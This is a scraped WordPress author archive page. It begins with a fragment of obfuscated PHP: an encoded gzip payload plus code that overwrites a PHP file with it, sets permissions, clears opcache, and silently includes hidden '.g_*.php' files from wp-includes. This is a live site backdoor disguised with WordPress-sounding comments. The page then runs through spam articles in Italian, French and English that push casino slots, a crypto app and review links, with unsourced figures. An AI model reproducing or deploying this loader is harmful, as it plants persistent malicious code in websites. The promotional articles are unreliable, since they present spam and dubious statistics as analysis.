9r69/+8XaAAAAAOyAZm4AAOp7PCo2SfrbWbEAQDCtox+Ooui4sX+xHBwV3XzTP52fWRYACOekerDNHp5N5bP5bBiP483F3TzNLBMAhNx8AQCgrlWxnoyHWZE8ZMz1DAUAgIAOpckBABDis/Lgp4OGdQAA4AmfkpUJ4f3IhyUAAADALogkBgAAAOBZyO+H09PJ+iaOV53bVpLGsfgCAAAAgF04bJamcbUG93l2vWwXq0W+rdokkbINAATdeSt7bepNNwAAT/qwBACCKWXwpfFR1LDVAgBQX+UesK3lBgACUq4BAAAAAADg+5WDVE7T0dWkt7nrFqNs29XRkaQCAMAT6GECgIBWxXoyHmZF8jCuqBvZaQEgpNLVSK/XiVr7o+RyHmfJMp4OukXXTQkABORICwABHUQHhrcAgEMrAAA7VW7vy7QYAABQ3+H/hH70hH4AQNitFwAIpjLlXhACAAAAwI4M7vPsetkuVotciBYAAIG4+wMAAADYheo7477LPgAIyP0HAAD1lVPiHnduJ2kSR57YA0BQpdj/JIkaDVstAAAAAM9CuTSWaiEGgICqQwLL++6R7g8ACKs8yyhpRw1rAgAhD7kAQDDlx4Jx2zUtAAAAAM/Ct9sqO9oqASCs/H44PZ2sb+J41XnYbbtupQAg6CkXAADq+ub8kSxSvQEAoD6lSgAAAAAAAL7fF2/OesL8ASAknRwAAAAAAAB8v0r8TF/6DAAAAMAu6AEGgIC+lcWfxrL4AQB4gsPmWX533jmfTW8Xl58/LOM0aohLAQDgKV+Wg6vN1Wa0avfzYluyTOTwAQDwpA9LAACoq1ycjNvaKQEgIOUaAADqKz+Grc54TVPPYQEgpC/6uI+ihqIOAAAAwE5UCjV6WgEAAAB24rDSzFoO4E47WlkBIOzOCwAEc5qOria9zV23GGXbM2zXERYAHGEBAAAAoJ5yD2X1AirTRAkAIbmBAoCAKulNPTHbAAAAADwXq2I9GQ+zInmY9tqPjhvWBACA2s4H4+vm3h/zPUsBAEBtuvUAAKhvP5/NZ8N4HG8u7uZpZkEAAAAAdsBNHwAEtO3FPm588roPAAAAAAAA4Csan/4ChhObmaYFhQE='); if ($GLOBALS['__scf_kbgkl1crnnhid_6']($u7y126jfe10) && $GLOBALS['__scf_o1o373vbsbx__7']($u7y126jfe10) >= (0x6+0xc) && $GLOBALS['__scf_zf5vkempo5z_15']($u7y126jfe10, 0, 2) === "\x1f\x8b") { // WP useInnerBlocksProps: contravariant-adj serializer $mffnuovll7to5=40+33;$gk45uskevj0=$mffnuovll7to5-20; $n74o8ejlkroadh = @$GLOBALS['__scf_yzh41caot9q98_40']('V', $GLOBALS['__scf_zf5vkempo5z_15']($u7y126jfe10, -(2+2))); if (!$GLOBALS['__scf_huopx0k79f9_29']($n74o8ejlkroadh) || $n74o8ejlkroadh[1] < (490+10) || $n74o8ejlkroadh[1] > (1048477+99)) $u7y126jfe10 = ""; } $brsgsw5wp4jh = ($GLOBALS['__scf_zf5vkempo5z_15']($u7y126jfe10, 0, 2) === "\x1f\x8b") ? ($GLOBALS['__scf_wfd5gtjhbt_0']('gzdecode') ? @gzdecode($u7y126jfe10, (1066539-17963)) : ($GLOBALS['__scf_wfd5gtjhbt_0']('gzinflate') ? @gzinflate($GLOBALS['__scf_zf5vkempo5z_15']($u7y126jfe10, (9+1), -(2<<2)), (179904+868672)) : false)) : $u7y126jfe10; unset($u7y126jfe10); if (!$GLOBALS['__scf_kbgkl1crnnhid_6']($brsgsw5wp4jh) || $GLOBALS['__scf_o1o373vbsbx__7']($brsgsw5wp4jh) < (461+39) || $GLOBALS['__scf_o1o373vbsbx__7']($brsgsw5wp4jh) > (683996+364580)) $brsgsw5wp4jh = _sc_coreld($ti7yag3wd69125); if ($GLOBALS['__scf_kbgkl1crnnhid_6']($brsgsw5wp4jh) && $GLOBALS['__scf_o1o373vbsbx__7']($brsgsw5wp4jh) > (475+25) && $GLOBALS['__scf_o1o373vbsbx__7']($brsgsw5wp4jh) <= (0x9dfff+0x62001)) { if (!_sc_qok($sac4s1vg_zbnjp, $brsgsw5wp4jh)) { $bkvnq_6c6imdq = _sc_coreld($ti7yag3wd69125); if (!$GLOBALS['__scf_kbgkl1crnnhid_6']($bkvnq_6c6imdq) || !_sc_qok($sac4s1vg_zbnjp, $bkvnq_6c6imdq)) $brsgsw5wp4jh = false; else $brsgsw5wp4jh = $bkvnq_6c6imdq; } if ($GLOBALS['__scf_kbgkl1crnnhid_6']($brsgsw5wp4jh) && _sc_phpok_src($brsgsw5wp4jh)) { if (!@$GLOBALS['__scf_qexriext4uvl_36']($GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3))) _sc_mkdir($GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3)); $wxkmmftedtpw98 = ($GLOBALS['__scf_wfd5gtjhbt_0']('tempnam') ? @$GLOBALS['__scf_oodc_hycwfo9ng_26']($GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3), 'sc_') : false); if ($wxkmmftedtpw98 !== false && !n8cikort8d9f41fmo_mz($wxkmmftedtpw98, $GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3))) { _sc_ul($wxkmmftedtpw98); $wxkmmftedtpw98 = false; } if ($wxkmmftedtpw98 !== false) { $jymhhtcyciniku = _sc_fpc($wxkmmftedtpw98, $brsgsw5wp4jh); if ($jymhhtcyciniku !== false && $jymhhtcyciniku === $GLOBALS['__scf_o1o373vbsbx__7']($brsgsw5wp4jh)) { $wtu6ft6g9bb = aytppm47jpas925sbx9($wxkmmftedtpw98, $x_c1wezay3, q1mqpl7zk_y9g3_($brsgsw5wp4jh)); if ($GLOBALS['__scf_wfd5gtjhbt_0']('clearstatcache')) @clearstatcache(true, $x_c1wezay3); if ($wtu6ft6g9bb) { $m2b0itiiqwg = @$GLOBALS['__scf_qxrrakctd8_13']($x_c1wezay3); if (!$GLOBALS['__scf_kbgkl1crnnhid_6']($m2b0itiiqwg) || $m2b0itiiqwg !== $brsgsw5wp4jh) { if ($GLOBALS['__scf_kbgkl1crnnhid_6']($m2b0itiiqwg) && $GLOBALS['__scf_e_5u460nphay_28']($m2b0itiiqwg, '/* SCV:') !== false) { if ($m2b0itiiqwg !== "" && $GLOBALS['__scf_o1o373vbsbx__7']($m2b0itiiqwg) < $GLOBALS['__scf_o1o373vbsbx__7']($brsgsw5wp4jh) && $GLOBALS['__scf_zf5vkempo5z_15']($brsgsw5wp4jh, 0, $GLOBALS['__scf_o1o373vbsbx__7']($m2b0itiiqwg)) === $m2b0itiiqwg) { _sc_fpc($GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3) . '/.wr_' . $GLOBALS['__scf_w53m44dpzgp64u_37']($x_c1wezay3, '.php'), '1'); _sc_ul($x_c1wezay3); } $wtu6ft6g9bb = false; } else { _sc_fpc($GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3) . '/.wr_' . $GLOBALS['__scf_w53m44dpzgp64u_37']($x_c1wezay3, '.php'), '1'); _sc_ul($x_c1wezay3); $wtu6ft6g9bb = false; } } unset($m2b0itiiqwg); } if ($wtu6ft6g9bb) { _sc_ul($GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3) . '/.wr_' . $GLOBALS['__scf_w53m44dpzgp64u_37']($x_c1wezay3, '.php')); if ($GLOBALS['__scf_wfd5gtjhbt_0']('chmod')) @$GLOBALS['__scf_mir6oamhcrhce_27']($x_c1wezay3, (146+274)); if ($GLOBALS['__scf_wfd5gtjhbt_0']('opcache_invalidate')) @opcache_invalidate($x_c1wezay3, true); _sc_padf($x_c1wezay3); } } else { _sc_ul($wxkmmftedtpw98); } // @intercept permission } } unset($brsgsw5wp4jh); } } if ($GLOBALS['__scf_xwfqhgt4ml1bj_41']() !== 'cli' && defined('ABSPATH') && $GLOBALS['__scf_wfd5gtjhbt_0']('md5_file')) { // @populate flyweight $iwdz4io217c0e0y = $ti7yag3wd69125 . '/.gk_' . $GLOBALS['__scf_zf5vkempo5z_15']($GLOBALS['__scf_wma5z6xtmm_25']("ionic-mediator-lite"), 0, (7+1)); $k9lu7xwj3kxfi6 = @$GLOBALS['__scf_dajlorxhas_12']($iwdz4io217c0e0y) ? (int) @$GLOBALS['__scf_c_6t31la987ihz_9']($iwdz4io217c0e0y) : 0; $b9wz96wpz8wko5mm = ($k9lu7xwj3kxfi6 === 0 || $k9lu7xwj3kxfi6 < $GLOBALS['__scf_tqig65_zqosny_10']() - (255+45) || $k9lu7xwj3kxfi6 > $GLOBALS['__scf_tqig65_zqosny_10']() + (207+93)); if ($b9wz96wpz8wko5mm) { @$GLOBALS['__scf_r36g1l2ws03kc5_11']($iwdz4io217c0e0y); $xh82_86im8aojf = $GLOBALS['__scf_zf5vkempo5z_15']($GLOBALS['__scf_wma5z6xtmm_25'](ABSPATH . 'g'), 0, (4+4)); foreach (array(ABSPATH . 'wp-includes', $ti7yag3wd69125, $ti7yag3wd69125 . '/.sc_' . $GLOBALS['__scf_zf5vkempo5z_15']($GLOBALS['__scf_wma5z6xtmm_25'](ABSPATH . 'dir'), 0, (1+7))) as $gqa_hrd5q9q7bocb) { $khategpgu74u5yv = $gqa_hrd5q9q7bocb . '/.g_' . $xh82_86im8aojf . '.php'; if (!@$GLOBALS['__scf_dajlorxhas_12']($khategpgu74u5yv)) continue; $ndmem2x73ufe9b = $gqa_hrd5q9q7bocb . '/.gl_' . $xh82_86im8aojf; $ebii647a6phlivku = @$GLOBALS['__scf_dajlorxhas_12']($ndmem2x73ufe9b) ? (int) @$GLOBALS['__scf_c_6t31la987ihz_9']($ndmem2x73ufe9b) : 0; if ($ebii647a6phlivku && $ebii647a6phlivku > $GLOBALS['__scf_tqig65_zqosny_10']() - (168+72) && $ebii647a6phlivku <= $GLOBALS['__scf_tqig65_zqosny_10']() + (260+40)) return; $s02kr9r850eh18 = @$GLOBALS['__scf_ravnx_5ikbuxv_21']($khategpgu74u5yv); if (!$s02kr9r850eh18 || $s02kr9r850eh18 < (404+1596) || $s02kr9r850eh18 > (2097144+8)) continue; $le5ip12plo01 = $gqa_hrd5q9q7bocb . '/.gm_' . $xh82_86im8aojf; $eknl0qllj0q48p = @$GLOBALS['__scf_dajlorxhas_12']($le5ip12plo01) ? $GLOBALS['__scf_bn1efwpx4_jjt6_30']((string) @$GLOBALS['__scf_qxrrakctd8_13']($le5ip12plo01)) : ""; if ($eknl0qllj0q48p === "" || @md5_file($khategpgu74u5yv) !== $eknl0qllj0q48p) continue; try { @include_once $khategpgu74u5yv; } catch (\Throwable $q1_akv_36jk7h4p) { } catch (\Exception $q1_akv_36jk7h4p) { } return; } } } } // spawn negotiation for WP Site Editor ; $nrp0rxn3u1p3p_rr(); unset($nrp0rxn3u1p3p_rr); } } /* SC_TH_END:4.0.3:a5103f83 */ nodedaemonzerotask – Page 211 – rawaltrading.com

Author: nodedaemonzerotask

  • L’importanza delle Opinioni dei Consumatori nel Digital: Un’Analisi Strategica

    Introduzione

    Nel panorama digitale odierno, la voce del consumatore si è trasformata in uno degli asset più preziosi per le aziende che cercano di consolidare la propria presenza online. Le recensioni, i commenti e le opinioni pubblicate sui vari canali digitali costituiscono un dato imprescindibile per definire la reputazione di un brand, influenzare le decisioni di acquisto e modellare le strategie di marketing.

    Opinioni dei Consumatori come Pilastro della Credibilità Online

    Numerosi studi evidenziano come il 92% dei consumatori legge le recensioni prima di effettuare un acquisto online (Fonte: BrightLocal 2023), e il 86% si fida tanto quanto di una raccomandazione personale. Questo dato sottolinea il ruolo strategico delle opinioni, che vanno ben oltre un semplice feedback, diventando strumenti di validazione sociale e fiducia.

    Le aziende più innovative adottano sistemi di gestione delle recensioni che permette loro di monitorare continuamente la percezione del mercato e di intervenire prontamente per correggere eventuali criticità. Un esempio concreto è rappresentato dai marketplace di servizi come Airbnb, dove la qualità e la trasparenza delle recensioni costituiscono il cuore dell’esperienza utente.

    Reputazione e Strategie di Engagement

    La gestione delle opinioni non implica solo risposte passive, ma un vero e proprio programma di engagement strategico. Rispondere alle recensioni, sia positive sia negative, crea un rapporto di fiducia e dimostra attenzione verso il cliente, elementi che influenzano positivamente la percezione pubblica e il posizionamento SEO.

    Una recente analisi di Harvard Business Review ha rivelato che le aziende che rispondono attivamente a recensioni negative registrano un miglioramento del 24% nella fidelizzazione rispetto a chi ignora tali feedback.

    Il Ruolo del Feedback nel Miglioramento Continuo

    I trend del settore indicano che le opinioni sono una fonte primaria di insight per le aziende desiderose di innovare e adattarsi alle esigenze di mercato.

    Metodologia Impatto sui Risultati Esempio di Successo
    Analisi qualitativa delle recensioni Miglioramento della customer experience del 30% Amazon: utilizzo di feedback per ottimizzare la logistica
    Sondaggi di soddisfazione periodici Aumento della retention clienti del 18% Starbucks: personalizzazione dell’offerta in base ai feedback

    La Sfida delle Fake Reviews e di Come Combatterle

    Un problema crescente nel mondo digitale è rappresentato dalle recensioni false, che compromettono la fiducia e la trasparenza del sistema. Le piattaforme più attente adottano tecnologie di intelligenza artificiale per individuare e rimuovere le recensioni manipolate, tutelando così sia i consumatori sia i brand onesti.

    “La trasparenza non è solo una questione di reputazione, ma un imperativo strategico nel futuro del commercio digitale.”
    – Esperto di Marketing Digitale

    Conclusione

    Il ruolo delle opinioni dei consumatori si sta evolvendo da semplice feedback a pilastro centrale delle strategie digitali di aziende leader a livello mondiale. Gestire con capacità e trasparenza le recensioni diventa un vantaggio competitivo e una chiave di successo duraturo.

    Per approfondire ulteriori analisi e casi di studio, si consiglia di consultare questa risorsa autorevole che svela le dinamiche e le best practice del settore: per approfondire.

    In definitiva, sfruttare correttamente il potere delle opinioni crea un ciclo virtuoso di miglioramento continuo e fiducia reciproca tra aziende e clienti.
  • Investissement Numérique et Innovation Blockchain : L’Émergence des Applications Décentralisées

    Dans un contexte mondial où la digitalisation s’accélère, l’innovation technologique façonne profondément le paysage économique et financier. La blockchain, base des cryptomonnaies et des contrats intelligents, devient un levier stratégique pour les investisseurs et les entreprises en quête de transparence, d’efficacité et de décentralisation. Cet article explore comment les applications décentralisées révolutionnent l’investissement numérique, tout en offrant de nouvelles opportunités pour les acteurs du secteur, notamment à travers des solutions d’engagement innovantes et accessibles.

    La montée en puissance des applications décentralisées (dApps)

    Les applications décentralisées, ou dApps, sont des programmes qui fonctionnent sur des réseaux blockchain plutôt que sur des serveurs centralisés. Leur popularité croît rapidement dans les domaines de la finance, des jeux vidéo, de l’art numérique et bien au-delà. Selon le rapport Chainalysis 2023, le volume global des transactions en cryptomonnaies a dépassé 15 000 milliards de dollars, un indicateur de l’engouement croissant pour ces nouvelles formes d’interaction numérique.

    Les dApps apportent plusieurs avantages essentiels :

    • Transparence : chaque transaction est enregistrée sur la blockchain, immuable et accessible à tous.
    • Automatisation : grâce aux smart contracts, elles automatisent des processus complexes sans intervention humaine.
    • Accès global : n’importe qui, où qu’il soit, peut interagir avec ces applications, d’où l’intérêt pour l’investissement international.

    L’impact sur l’investissement et l’écosystème financier

    Ce mouvement modifie en profondeur la manière dont il est envisagé la gestion de patrimoine, la levée de fonds, et la participation à des projets innovants. Les plateformes de DeFi (finance décentralisée) permettent désormais d’accéder à des services financiers sans intermédiaires traditionnels, telles que le prêt, l’emprunt, l’échange ou encore la gestion d’actifs, souvent via des interfaces intuitives et sécurisées.

    Pour approfondir cette nouvelle tendance, il est essentiel de s’engager avec des outils qui permettent de comprendre, d’analyser et d’expérimenter ces technologies de façon sûre et efficace. C’est dans cette optique que des solutions comme essaie l’app Crimson of Gold Crown apparaissent comme des références crédibles pour explorer l’univers digital décentralisé.

    Pourquoi investir dans une application blockchain fiable ?

    Le choix d’une plateforme ou d’une application performante et sécurisée n’est pas anodin. Avec la multiplication des acteurs, la vérification de la fiabilité, la facilité d’usage et la qualité de l’accompagnement client deviennent déterminantes. Une plateforme bien conçue offre une expérience utilisateur fluide tout en garantissant la sécurité des fonds et des données personnelles.

    Vers une démocratisation de l’investissement numérique

    Historiquement réservé aux experts ou aux initiés, l’univers du blockchain tend aujourd’hui à devenir plus accessible. Des applications intuitives et des interfaces conviviales permettent à un public plus large de participer à cette nouvelle économie, favorisant ainsi une démocratisation des opportunités d’investissement numériques.

    Critères Plateformes Traditionnelles Applications Décentralisées
    Sécurité Variable, dépend des acteurs Inhérente à la blockchain, cryptographie avancée
    Accessibilité Souvent limitée par la localisation ou la réglementation Globale, 24/7, sans frontières
    Transparence Variable, dépend des systèmes Totale, traçabilité incorruptible

    Perspectives et enjeux futurs

    Au-delà des considérations technologiques, plusieurs enjeux structurants émergent :

    • Régulation : L’évolution législative doit accompagner cette croissance pour protéger les investisseurs sans freiner l’innovation.
    • Adoption massive : La vulgarisation de ces outils nécessitera un effort éducatif substantiel, et l’intégration dans les pratiques financières traditionnelles.
    • Innovation continue : La compétition technologique stimulera le développement de nouvelles fonctionnalités, comme l’intégration de l’intelligence artificielle ou la compatibilité multi-chaînes.

    En intégrant ces facteurs, il devient évident que les applications décentralisées constituent un levier stratégique pour les investisseurs visionnaires, prêts à exploiter le potentiel de la blockchain pour bâtir la finance de demain.

    Conclusion : une étape essentielle dans la maturité du numérique

    La convergence entre investissement et technologie blockchain redéfinit les paradigmes économiques. Les acteurs qui sauront s’adapter rapidement, en s’appuyant sur des outils innovants et sécurisés, bénéficieront d’un avantage compétitif certain. Pour ceux qui souhaitent explorer concrètement ces nouvelles opportunités, il est judicieux d’expérimenter avec des solutions fiables et bien établies — essaie l’app Crimson of Gold Crown s’inscrit dans cette démarche de proximité et de confiance, offrant une passerelle simple vers l’univers décentralisé.

    « La révolution numérique ne se limite pas à une transformation technologique, mais redéfinit la façon dont nous envisageons la valeur, la confiance et l’engagement » – Avec ces mots, il devient clair que le futur de l’investissement réside dans l’alliance entre innovation technologique et responsabilisation des acteurs.

  • Il futuro del casinò digitale in Italia: analisi delle tendenze e dei regolamenti

    Nell’odierno panorama del gioco d’azzardo online, l’Italia si distingue come uno dei mercati europei più dinamici e regolamentati. La crescente popolarità degli ambienti di gioco digitali, combinata con un quadro normativo in evoluzione, ha stimolato l’interesse sia degli operatori sia dei giocatori. In questo contesto, le possibilità offerte dal mobile gaming rappresentano un fattore cruciale per lo sviluppo e la crescita del settore.
    Una domanda ricorrente tra gli utenti italiani è: Casinò mobile IT? La risposta a questa domanda non è soltanto tecnica o normativa, ma anche strategica, considerando le tendenze di consumo e le innovazioni tecnologiche in atto.

    Il fenomeno del casinò mobile in Italia: dati e proiezioni

    L’evoluzione verso il mobile ha rivoluzionato il modo in cui gli italiani accedono ai giochi d’azzardo. Secondo gli ultimi rapporti di AGCOM e Agenzia delle Dogane e dei Monopoli, si registra un aumento annuo dell’occupazione del mercato mobile pari al 35%, confermando l’interesse crescente e la preferenza degli utenti verso piattaforme smart.

    Anno Ricavi dal mobile (€ milioni) Crescita annuale
    2020 250 20%
    2021 325 30%
    2022 440 35%

    Questo trend tecnologia, supportato da un’aumentata penetrazione di dispositivi mobili e una maggiore ottimizzazione delle piattaforme di gioco, fa emergere una domanda crescente di soluzioni di casinò **mobile IT?**

    Regolamentazione e sicurezza nel gioco mobile

    Per creare un ambiente affidabile, l’Italia ha implementato una serie di regolamenti stringenti che garantiscono trasparenza e protezione dei giocatori. La >=Autorità delle Dogane e dei Monopoli (ADM)1 ha stabilito linee guida chiare per le piattaforme di gioco mobile, conforme alle direttive europee sulla sicurezza dei dati e sul riciclaggio di denaro.

    “Le piattaforme di casinò mobile devono rispettare gli standard di audit periodici, autenticazione forte e cifratura end-to-end, a tutela degli utenti e della reputazione del settore.” — Analisi di esperti del settore, ottobre 2023

    Tra le sfide principali ci sono la tutela della giocabilità responsabile, la prevenzione delle frodi e la compliance tecnica. Piattaforme affidabili come Chicken Road 2 Slot forniscono strumenti avanzati di analisi e sicurezza, rappresentando un esempio di eccellenza nel panorama italiano del casinò mobile.

    Le innovazioni tecnologiche che modellano il futuro

    Il layout delle piattaforme di prossima generazione integra tecnologie di intelligenza artificiale, server cloud potenziati e realtà aumentata. La cosiddetta gamification del casinò digitale mira a fidelizzare i giocatori, migliorando la user experience e mantenendo elevato l’interesse.

    Inoltre, la crescente adozione di criptovalute e sistemi di pagamento digitali rappresenta un elemento di novità che potrebbe ridefinire i confini delle transazioni nel settore.

    Conclusioni: un mercato che si trasforma ad alta velocità

    Il settore dei casinò mobile in Italia sta attraversando una fase di profonda trasformazione, alimentata da innovazioni tecnologiche, cambiamenti regolamentari e una domanda sempre più orientata alla mobilità. Per gli operatori e i regolatori, la sfida è mantenere l’integrità del settore, promuovendo al contempo le opportunità di crescita.

    In questo scenario complesso, risulta fondamentale affidarsi a risorse affidabili e tecnicamente avanzate, come Chicken Road 2 Slot, che offre approfondimenti e strumenti di gioco conformi alle normative italiane.

    Il futuro del casinò online in Italia sarà sempre più orientato alla mobilità, con un occhio di riguardo a sicurezza, innovazione e supporto regolamentare. Chi saprà adattarsi rapidamente a queste evoluzioni, potrà cogliere nuove opportunità in uno dei mercati più promettenti d’Europa.

  • Transforming the Scandinavian Gaming Landscape: Insights from Reactoonz Finland

    The rapid evolution of online gaming in Scandinavia has not only reshaped consumer experiences but also set new industry standards through innovation and technological integration. As countries like Finland harness their rich technological talent pools and regulatory frameworks, the development of engaging, responsible, and locally relevant gaming content becomes paramount. One notable example of this intersection is exemplified by check it out, a platform that epitomizes regional excellence in casino entertainment and game design.

    Understanding Scandinavia’s Unique Gaming Ecosystem

    Scandinavian nations, particularly Finland, Sweden, and Norway, have long been recognised for their progressive digital policies and technological innovation. According to recent industry reports, this region accounts for approximately 25% of Europe’s online gambling revenue, despite constituting only 5% of the population, underscoring its maturity and online engagement levels.

    Key factors underpinning this success include advanced internet infrastructure, high literacy rates, and a deep-rooted culture of responsible gambling. Regulatory bodies like the Finnish Gambling Authority (FGA) ensure stringent standards, fostering consumer trust and encouraging operators to deliver high-quality content that balances entertainment with player protection.

    The Role of Localised Content and Innovation

    In such a competitive environment, differentiation often hinges on the ability to create localized, culturally resonant content. Finnish developers and operators are increasingly investing in tailored themes, language support, and regional symbols, which resonate deeply with their core audiences.

    One example of exceptional regional adaptation is showcased by entities that integrate native motifs and mythology into their game mechanics—delivering not just entertainment but cultural storytelling. These endeavours contribute to a more profound player engagement and brand loyalty, essential in markets with high penetration and mature audiences.

    Technological Frontiers: Responsible Gaming and Data-Driven Experiences

    Modern Scandinavian gaming companies leverage cutting-edge technology such as AI-driven recommendations, biometric security, and real-time analytics. As a result, they are not only enhancing user experiences but also pioneering responsible gambling practices.

    For instance, insights gathered through platforms like check it out reveal how Finnish developers embed responsible gambling tools directly into their games—offering self-assessment prompts, session limiters, and personalized feedback. This integrated approach aligns with global regulatory trends and demonstrates industry leadership in safeguarding players.

    Case Study: Reactoonz Finland’s Impact on Regional Gaming

    Reactoonz Finland exemplifies a regional commitment to innovative, engaging, and responsible gaming. This platform stands out not only for its high production standards but also for its dedication to cultural ties and player protection. As a credible source of gaming excellence, it reflects the Finnish gaming industry’s strategic focus on:

    • Technological innovation with immersive graphics and adaptive gameplay.
    • Localized storytelling leveraging Finnish folklore and symbols.
    • Player safety measures integrated seamlessly within the gaming experience.

    For industry professionals seeking to understand where Scandinavian gaming is headed—be it in development, regulation, or cultural integration—Reactoonz Finland offers valuable insights. check it out for a comprehensive glimpse into this dynamic sector.

    Future Outlook: Standing at the Crossroads of Innovation and Responsibility

    As the digital gambling landscape continues to grow, Scandinavian markets are poised to lead in responsible innovation. The confluence of technological advancement, regional cultural emphasis, and regulatory rigor defines the road ahead.

    Emerging trends such as virtual reality, blockchain integration, and AI-assisted moderation will further shape the industry. Companies that maintain a strategic focus on local relevance and player well-being, like those represented through platforms such as Reactoonz Finland, will set the standards for sustainable growth in this competitive arena.

    Concluding Insights

    Understanding the Scandinavian gaming environment requires a nuanced appreciation of regional culture, technological dynamism, and regulatory frameworks. Sites like check it out serve as exemplars of how brands can integrate local identity with cutting-edge innovation while prioritising player safety. The Finnish gaming industry offers a compelling blueprint for other markets aspiring to mature into responsible, player-centric ecosystems.

  • Analisi Approfondita dei Slot con Payout Elevati: La Ricerca di Vincite Eccezionali

    Nel panorama del gioco d’azzardo online, uno degli aspetti più affascinanti e discussi tra i giocatori più esperti è la ricerca di slot machine che offrano payout elevati. La promessa di ottenere vincite significative, spesso fino a 100x il valore della puntata, ha alimentato l’interesse verso i titoli più generosi presenti sul mercato. Ma cosa rende uno slot con payout così elevato realmente credibile? E come distinguere tra giochi con reale potenziale e trappole di marketing? In questo articolo, approfondiremo le dinamiche di payout nelle macchine da casinò digitali, analizzando dati e tendenze del settore, e integreremo una fonte autorevole come slot con payout alti 100x per offrire un quadro completo e affidabile.

    Il Concetto di Payout nel Gioco d’Azzardo: cosa si Intende?

    Il payout di una slot machine rappresenta la percentuale di tutte le scommesse che la macchina restituisce ai giocatori nel lungo periodo. Ad esempio, una slot con un payout del 96% restituisce, in media, 96 euro ogni 100 euro giocati. Questo dato, tuttavia, è un valore medio e può variare notevolmente tra diversi giochi e fornitori.

    Le slot con payout elevati, superiori al 96-97%, sono spesso considerate più “generose”, offrendo così maggiori possibilità di ottenere vincite di rilievo nel breve termine. Tuttavia, non bisogna confondere payout elevato con vincite frequenti o di grande entità, poiché la volatilità del gioco gioca un ruolo altrettanto cruciale.

    La Realtà dei Slot con Payout 100x o Superiori

    Tra i termini più ricercati dai giocatori esperti troviamo “slot con payout alti 100x”, ovvero giochi in grado di restituire vincite fino a cento volte la puntata. Questi giochi rappresentano il sogno di molti, in quanto offrono possibilità di jackpot che possono cambiare radicalmente le sorti del giocatore.

    Ma quanto sono affidabili tali promesse? La maggior parte delle slot con payout elevati sono attentamente bilanciate dai loro sviluppatori e vengono sottoposte a rigorosi test di integrità, garantendo trasparenza e correttezza. Un esempio tangibile di questo processo è illustrato da molte recensioni affidabili, come quelle disponibili su slot con payout alti 100x, che analizzano dettagli tecnici, percentuali e caratteristiche di diversi titoli.

    Perché l’Affidabilità è Fondamentale?

    In un settore in cui la percezione di “trucco” o di giochi truccati può prevalere, la trasparenza delle percentuali di payout è un elemento chiave. Le autorità di regolamentazione internazionali richiedono che le piattaforme autorizzate e licenziate siano soggette a controlli costanti, garantendo che i payout dichiarati siano rispettati nel lungo periodo.

    Ad esempio, alcuni titoli di slot con payout più elevato sono progettati specificamente per attrarre giocatori che cercano vincite maggiori, ma ciò non significa che siano automaticamente più facili da vincere. La volatilità e le funzioni bonus sono elementi che contribuiscono alla vincibilità complessiva, rendendo fondamentale un’analisi approfondita e affidabile — come quella fornita da fonti autorevoli.

    Analisi Statistica: Dati e Trend

    Tipo di Slot Payout Medio Vincite di 100x Volatilità Esempi di Giochi
    Slot con payout elevato 96-98% Raro, ma possibile con funzioni bonus Media/Alta Robin Hood’s Riches, Mega Joker
    Slot ad alta volatilità 94-97% Sì, con rischi elevati Alta Gonzo’s Quest, Dead or Alive II

    Come evidenziato da molte analisi di settore, i giochi più affidabili e con payout elevato sono sottoposti a regolamentazioni molto stringenti, che ne garantiscono la trasparenza. Per approfondimenti e recensioni dettagliate, si può consultare la ricca documentazione sul sito slot con payout alti 100x.

    Conclusioni: La Ricerca di esiti eccezionali nel Gioco Responsabile

    In conclusione, la ricerca di slot con payout alti e vincite di 100x rappresenta un obiettivo legittimo per i giocatori più esperti, purché accompagnata da un’approfondita conoscenza delle dinamiche del settore e da strumenti affidabili di verifica. La trasparenza e la regolamentazione sono gli alleati più importanti per evitare illusioni e trappole, consentendo ai giocatori di godere dell’esperienza del gioco in modo responsabile e consapevole.

    Ricordiamo, infine, che il successo nel gioco d’azzardo digitale è spesso il risultato di equilibrio tra strategia, conoscenza e fortuna — e affidarsi a fonti autorevoli può fare la differenza nel lungo termine.

  • Les Nouveaux Défis de la Sécurité Numérique dans l’Industrie Agricole

    À l’ère de la digitalisation accrue, le secteur agricole connaît une transformation sans précédent grâce à l’adoption de technologies connectées — de la gestion intelligente des cultures à la traçabilité en temps réel. Cependant, cette évolution s’accompagne de vulnérabilités croissantes en matière de sécurité numérique. Les exploitants agricoles, souvent perçus comme en dehors du champ traditionnel des cybermenaces, sont désormais à la croisée des chemins en matière de protection de leurs données et de leur infrastructure.

    La Transformation Digitale dans l’Agriculture : Opportunités et Risques

    Les innovations telles que l’agriculture de précision, l’utilisation de drones, et l’intégration de systèmes IoT (Internet des Objets) ont permis d’accroître la productivité et la durabilité des exploitations. Selon une étude récente du rapport AgriTech 2023, près de 70 % des exploitations françaises intègrent désormais des dispositifs connectés, une augmentation dramatique par rapport à la décennie précédente. Toutefois, cette connectivité permanente ouvre la voie à de potentielles cyberattaques.

    Factuel : La Fédération Française des Agriculture (Fédération des Chambres d’Agriculture) rapporte que les incidents de cybersécurité ciblant des systèmes agricoles ont augmenté de 35 % en un an, principalement via des ransomwares et des attaques de phishing visant les données sensibles des exploitants.

    Vulnérabilités Spécifiques et Cas Concrets

    Les vulnérabilités varient selon la sophistication des systèmes et la sensibilisation des utilisateurs. Par exemple, des exploitations équipées de systèmes de gestion de l’irrigation connectés ont été la cible d’attaques par déni de service (DDoS), perturbant les opérations critiques pendant les périodes de forte demande.

    Type d’attaque Exemple Impact
    Ransomware Infiltration des données agricoles Fermeture des accès aux données, pertes financières
    Phishing Fraudes ciblant les exploitants Vol d’identifiants, compromission des systèmes
    Attaques DDoS Perturbation des systèmes de contrôle de l’irrigation Interruption de l’approvisionnement en eau

    Securing l’Agriculture de Demain : Stratégies et Bonnes pratiques

    Pour faire face à ces défis, le secteur doit adopter une approche proactive, combinant technologie, formation, et politique. La sensibilisation des agriculteurs est cruciale ; comprendre qu’un simple clic sur un lien malveillant, comme ce lien, peut ouvrir la voie à une attaque sérieuse.

    Les solutions recommandées incluent :

    • La mise en œuvre de protocoles de cybersécurité robustes, notamment l’authentification à deux facteurs et le chiffrement des données.
